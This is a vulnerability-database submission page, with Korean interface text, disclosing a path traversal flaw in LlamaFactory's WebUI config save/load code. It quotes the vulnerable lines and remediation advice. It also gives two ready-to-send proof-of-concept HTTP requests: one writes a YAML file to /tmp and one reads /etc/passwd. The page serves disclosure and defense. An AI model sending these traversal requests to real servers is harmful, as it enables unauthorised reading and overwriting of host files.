제출 #1055908: hiyouga LlamaFactory <= 0.9.6 (main branch) Path Traversal in Config Save/Load정보

제목hiyouga LlamaFactory <= 0.9.6 (main branch) Path Traversal in Config Save/Load
설명Description: The WebUI’s save/load config function uses a user-controlled config_path parameter directly concatenated with DEFAULT_CONFIG_DIR. No path normalization or directory confinement check. Attackers can use ../ sequences to escape the designated directory, achieving arbitrary file read/write on the host server. Problematic Code: File: src/llamafactory/webui/runner.py:501, 509 # 保存配置 (第 501 行) save_path = os.path.join(DEFAULT_CONFIG_DIR, config_path) save_args(save_path, self._build_config_dict(data)) # 加载配置 (第 509 行) config_dict = load_args(os.path.join(DEFAULT_CONFIG_DIR, config_path)) Path Traversal Verification config_path: '../../../tmp/evil.yaml' joined: llamaboard_config/../../../tmp/evil.yaml real: /home/user/Doubao/tmp/evil.yaml safe: False ← 成功跳出目录! Burp POC 1: Save the settings and write to a file outside the directory POST /api/predict HTTP/1.1 Host: 127.0.0.1:7860 Content-Type: application/json { "session_hash": "aaaaaa", "fn_index": 12, "data": [ "../../../tmp/llama_pwn.yaml", {"model_name": "test-model", "batch_size": 4} ] } Effect: Write the YAML configuration content to /tmp/llama_pwn.yaml Burp POC 2: Load configuration, read any local file POST /api/predict HTTP/1.1 Host: 127.0.0.1:7860 Content-Type: application/json { "session_hash": "aaaaaa", "fn_index": 13, "data": [ "../../../etc/passwd" ] } Remediation: Use os.path.realpath() to normalize the final path Enforce that the final path must be a subdirectory of DEFAULT_CONFIG_DIR Filter out ../, absolute paths, and other special characters, allowing only plain filenames
원천⚠️ https://github.com/hiyouga/LlamaFactory/security/advisories/GHSA-h448-p698-4q2g
사용자
 Anonymous User
제출2026. 10. 25. AM 02:22 (1 월 ago)
모더레이션2026. 11. 24. AM 09:52 (1 month later)
상태수락
VulDB 항목442772 [hiyouga LLaMA-Factory 까지 0.9.5 WebUI runner.py save_args/load_args config_path 디렉토리 순회]
포인트들20

Do you know our Splunk app?

Download it now for free!